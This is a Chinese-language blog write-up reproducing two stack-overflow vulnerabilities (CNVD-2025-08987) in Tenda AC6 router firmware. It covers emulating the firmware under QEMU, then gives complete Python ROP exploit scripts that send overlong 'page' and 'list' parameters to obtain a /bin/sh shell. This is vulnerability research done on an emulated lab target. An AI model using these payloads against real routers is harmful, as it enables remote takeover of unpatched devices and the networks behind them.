Overview
该漏洞为 Tenda-AC6 路由器固件漏洞的复现,参考了 Siestazzz学长的博客
- 影响版本:ac6<=US_AC6V1.0BR_V15.03.05.19_multi_TD01
- 漏洞编号:CNVD-2025-08987
- 漏洞名称:深圳市吉祥腾达科技有限公司 AC6 存在多个二进制漏洞
- 漏洞类型:通用-网络设备-高危
- CVSS评分:10.0
环境搭建
固件下载:https://www.tenda.com.cn/material/show/102681
依赖安装
安装 binwalk
git clone https://github.com/ReFirmLabs/binwalk.git
# install rust compiler
sudo apt install curl
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
. $HOME/.cargo/env
# install dependencies
sudo ./binwalk/dependencies/ubuntu.sh
# compile binwalk
cd binwalk
cargo build --release
# create soft link
sudo ln -s ~/repos/binwalk/target/release/binwalk /usr/local/bin/binwalkBash
这样就是安装完成了
安装sasquatch
sudo apt install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.shBash可能会遇到各种各样的报错,总结起来是源代码太老了,和新版本的 gcc 发生了冲突,需要修改以下几点
- 在
~/repos/sasquatch/squashfs4.3/squashfs-tools路径下找到 Makefile,修改其中的第 129 行,去掉-Werror

- 在
~/repos/sasquatch/squashfs4.3/squashfs-tools路径下找到 error.h 文件,在第 34 行加入 extern 关键字;找到 unsquashfs.c 文件,在第 42 行添加int verbose = 0的声明


接着运行如下命令
grep -R "int verbose" -n .Bash
输出如上图便正确
最后再运行
make clean
make sudo make installBash就完成安装了

安装 qemu
sudo apt install qemu
sudo apt install qemu-user-static
sudo apt install qemu-systemBash安装 gdb-multiarch
sudo apt install gdb-multiarchBash模拟路由器
binwalk 解包固件
binwalk -Me US_AC6V1.0BR_V15.03.05.19_multi_TD01.binBash
解包后找到 httpd 服务文件
find . -name httpdBash
这个 squashfs-root 就是这个固件的文件系统

查看发现是 32 位,小端,arm 架构的
由于该固件运行时会首先获取br0网卡的信息,所以这里需要先创建br0网卡并配置其ip。
sudo apt install uml-utilities
sudo tunctl -t br0 -u root
sudo ifconfig br0 10.10.10.1/24Bash然后将qemu拷贝到当前目录下,启动httpd服务
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpdBash
运行后发现报错

在 ida 中搜索字符串调用后可以发现,在程序初始化的时候有一个网络检查,那么我们创建的是一个虚拟环境,因此很多网络配置可能不正确,自然就会报错,那没有办法,直接将这段代码 patch 掉即可

对应的汇编代码如上图所示,loc_2E20C对应的是while()部分,只有在r3 > 0的时候才会退出,也就是check_network的返回值大于 0 才能退出循环。根据我们的代码能够走到ConnectCfm()可以判断出这个检查是通过了,因此我们看下一段代码
下一个代码loc_2E230对应if判断的逻辑,执行ConnectCfm()函数,返回值放到r3中,比较r3是否等于 0 ,不等于 0 就进入正常的代码逻辑,否则进入异常处理,打印字符串,因此我们将此处的bne loc_2e260改为beq loc_2e260就行了


重启后再次运行,发现可以正常启动了
漏洞复现
常规检查

之开启了一个NX
fromDhcpListClient

在这个函数中,我们可以发现v11在获取了page参数后未作长度校验,直接通过sprintf()赋值给v9,存在栈溢出漏洞,覆盖返回地址可以劫持控制流
为了程序正常运行,需要我们将下面的部分先 patch 掉



以调试模式启动 qemu
sudo chroot ./ ./qemu-arm-static -g 23946 ./bin/httpdBash启动gdb-multiarch调试
gdb-multiarch
set architecture armv5te
set endian little
set sysroot /usr/arm-linux-gnueabihf/
target remote localhost:23946Bash
这样我们就连进来了
arm架构中,fp寄存器指向返回地址,可以看到v9位于[fp-0x11c],字符串“/network/lan_dhcp_static.asp?page=”长度为0x22,则需要0x11c-0x22=0xfa的padding,后面则是我们的返回地址。使用以下poc调试(注意第一次发包的时候不知道为什么不会被解析,后面发包才能正常运行,所以需要发两次包):
from pwn import *
import requests
def send_payload(url, payload):
print("sending...")
response = requests.get(url, params={'page': payload})
print(f"Response status code: {response.status_code}\nResponse body: {response.text}")
payload = 0xfa * b'A' + b'abcdefghijklkmopqrst'
send_payload("http://10.10.10.1:80/goform/DhcpListClient", payload)Python还记得我们是怎么创建 br0 网卡的吗,我们的属主是 root 用户,因此我们在运行 python 脚本的时候需要以 root 用户的身份运行

可以看到我们已经成功劫持了pc
因为开启了 NX,我们考虑使用 ROP 来攻击

arm 结构传参采用从右往左通过r0, r1, r2, r3和栈传递,执行system("/bin/sh")只需要传递一个参数,所以执行一遍pop {r0, pc}即可
接下来我们还需要获取libc的地址

先vmmap查看,发现可疑的libc基地址0x3fd9b000,在libc中能发现memset函数的偏移为0x3DF70,我们可以计算出对应的地址为0x3fd9b000 + 0x3DF70 = 0x3fdd8f70,我们直接在这里下断点,看能不能命中

发现可以命中且汇编代码就是memset那么我们就确定了0x3fd9b000是libc的起始地址了,这里vmmap的结果因为是qemu跑的关系有点问题
那么我们就可以写出对应的脚本了
from pwn import *
import requests
context(arch='arm', os='linux', log_level='debug')
libc = ELF('./libc.so.0')
libc_base = 0x3fd9b000
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_r0_pc = 0x0003db80 + libc_base
log.success(f"system address: {hex(system_addr)}")
log.success(f"/bin/sh address: {hex(binsh_addr)}")
log.success(f"pop {hex(pop_r0_pc)}")
def send_payload(url, payload):
print("sending...")
response = requests.get(url, params={'page': payload})
print(f"Response status code: {response.status_code}\nResponse body: {response.text}")
payload = 0xfa * b'A' + p32(pop_r0_pc) + p32(binsh_addr) + p32(system_addr)
send_payload("http://10.10.10.1:80/goform/DhcpListClient", payload)Python运行脚本

我们在0x886d0断住,发现此时栈上的返回地址已经被我们覆盖了,r11就是fp寄存器,也就是栈底的位置,后续是我们写的ROP链

可以发现已经进入了system函数且参数为/bin/sh

成功 getShell
Tips: 在执行
system函数时,可能出现打不通的情况,在多次拷打 AI 和 lhwww-re 师傅的合作问诊下发现了如下问题和解决方案
- 问题:
/bin/sh是 ARM ELF,QEMU 只包住了 httpd 但是没有包住system(),导致出现问题
我们可以通过strace命令观察system("/bin/sh")的行为
sudo strace -ff -p <qemu-httpd-pid> \
-e trace=vfork,clone,execve,dup2,write -s 200Bash触发system("/bin/sh")之后会发现
execve("/bin/sh", ["sh","-c", ...], ...) = -1 ENOEXEC (Exec format error)
... exited with 127
# 或者
[pid 15161] execve("/bin/sh", ["sh", "-c", "/bin/sh"], 0xf702400 /* 14 vars */) = -1 ENOENT (No such file or directory)Sass第一种情况是执行格式不对,因为我使用的是 wsl,可以按照如下来配置
# 将qemu复制到固件中
sudo cp /usr/bin/qemu-arm-static squashfs-root/usr/bin/
sudo chmod +x squashfs-root/usr/bin/qemu-arm-static
# 启用binfmt_misc
sudo modprobe binfmt_misc
sudo mount -t binfmt_misc binfmt_misc /proc/sys/fs/binfmt_misc 2>/dev/null || true
# 在wsl下手动注册规则
sudo bash -lc 'printf ":qemu-arm:M:0:\
\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:\
/usr/bin/qemu-arm-static:OCF\n" \
> /proc/sys/fs/binfmt_misc/register'
# 验证
cat /proc/sys/fs/binfmt_misc/qemu-arm # 有回显则正确
cd squashfs-root
sudo chroot . /bin/sh -c 'echo OK' # 需要有ok出现Bash现在再执行脚本就能获取 shell 了
如果是第二条报错证明你设置过这个,但是设置的有问题,最好的办法是重新来一遍
# 先执行这个
echo -1 | sudo tee /proc/sys/fs/binfmt_misc/qemu-arm
# 执行完之后再按照上面的命令写BashfromSetRouteStatic
有了前面的经验,第二个漏洞就很好打了

首先在fromSetRouteStatic()函数中,会读取list参数到v5,然后传入sub_77D40

我们看这段代码,将a2也就是我们传进来的list参数,赋值给v16,然后使用sscanf()函数解析v16函数到对应的参数,在此处并没有做长度限制,因此是很容易栈溢出的,我们分析后面的函数还有多次sprintf()因此我们在此处直接栈溢出覆盖返回地址,避免后续的干扰,那么我们需要确定padding的长度
先填入前三个参数abc,def,ghi,然后填入%s,我们在 ida 中可以看到差值为0x198
因此写下我们的exp
from pwn import *
import requests
libc = ELF('./libc.so.0')
libc_start = 0x3fd9b000
system_addr = libc_start + libc.symbols['system']
binsh_addr = libc_start + next(libc.search(b'/bin/sh'))
# 0x0003db80 : pop {r0, pc}
pop_r0_pc = libc_start + 0x0003db80
print(f"system: {hex(system_addr)}")
print(f"binsh: {hex(binsh_addr)}")
print(f"pop r0: {hex(pop_r0_pc)}")
def send_payload(url, payload):
print("sending...")
response = requests.get(url, params={'list': payload})
print(f"Response status code: {response.status_code}\nResponse body: {response.text}")
payload = b'abc,def,ghi,' + 0x198 * b'A' + p32(pop_r0_pc) + p32(binsh_addr) + p32(system_addr)
send_payload("http://10.10.10.1/goform/SetStaticRouteCfg", payload)Python执行完成之后发现到了如下地方


发现偏移量不对,因该是后续有操作把它覆盖了,因此我们需要修改
最后经过多次调整,我们获取了偏移是0x188

因此最终脚本如下
from pwn import *
import requests
context(arch='arm', os='linux', log_level='debug')
libc = ELF('./libc.so.0')
libc_start = 0x3fd9b000
system_addr = libc_start + libc.symbols['system']
binsh_addr = libc_start + next(libc.search(b'/bin/sh'))
pop_r0_pc = 0x0003db80
pop_r0_pc = libc_start + pop_r0_pc
print(f"system: {hex(system_addr)}")
print(f"binsh: {hex(binsh_addr)}")
print(f"pop r0: {hex(pop_r0_pc)}")
def send_payload(url, payload):
print("sending...")
response = requests.get(url, params={'list': payload})
print(f"Response status code: {response.status_code}\nResponse body: {response.text}")
payload = b'abc,def,ghi,' + 0x188 * b'A' + p32(pop_r0_pc) + p32(binsh_addr) + p32(system_addr)
send_payload("http://10.10.10.1/goform/SetStaticRouteCfg", payload)Python
拿下
总结
这次关于腾达的路由器固件漏洞挖掘基本上是在学长的博客下指引完成的,其中也有不少新手可能遇到的坑,我也提出了相应的解决方案,总的来说是一次非常好的经历,也是我第一次针对arm架构的固件漏洞攻击 :)






害怕